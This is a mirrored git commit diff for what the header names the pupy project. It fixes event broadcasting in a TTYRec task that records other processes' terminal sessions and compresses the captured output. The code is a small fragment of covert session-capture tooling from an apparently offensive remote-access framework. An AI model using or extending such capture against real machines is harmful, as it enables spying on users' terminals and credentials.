mirror of https://github.com/n1nj4sec/pupy.git
ttyrec: fix events
This commit is contained in:
parent
55a6dc15f3
commit
00c2971d48
|
@ -224,14 +224,15 @@ class TTYMon(object):
|
|||
|
||||
|
||||
class TTYRec(Task):
|
||||
__slots__ = ('_ttymon', '_results_lock', '_state')
|
||||
__slots__ = ('_ttymon', '_results_lock', '_state', '_event_id')
|
||||
|
||||
def __init__(self, manager):
|
||||
def __init__(self, manager, event_id=None):
|
||||
super(TTYRec, self).__init__(manager)
|
||||
self._ttymon = TTYMon(ignore=[os.getpid(), os.getppid()])
|
||||
self._results_lock = Lock()
|
||||
self._buffer = Buffer()
|
||||
self._compressor = zlib.compressobj(9)
|
||||
self._event_id = event_id
|
||||
|
||||
def task(self):
|
||||
for comm, pid, probe, sec, usec, buf in self._ttymon:
|
||||
|
@ -242,8 +243,20 @@ class TTYRec(Task):
|
|||
comm[:16], probe, pid,
|
||||
sec, usec, len(buf)) + buf)
|
||||
self._buffer.append(packet)
|
||||
|
||||
fire_event = False
|
||||
|
||||
if not self._dirty:
|
||||
fire_event = True
|
||||
|
||||
self._dirty = True
|
||||
|
||||
try:
|
||||
if fire_event and self._event_id is not None:
|
||||
self.broadcast_event(self._event_id)
|
||||
except:
|
||||
print_exception('T/BE:{}'.format(self.name))
|
||||
|
||||
@property
|
||||
def results(self):
|
||||
result = None
|
||||
|
|
Loading…
Reference in New Issue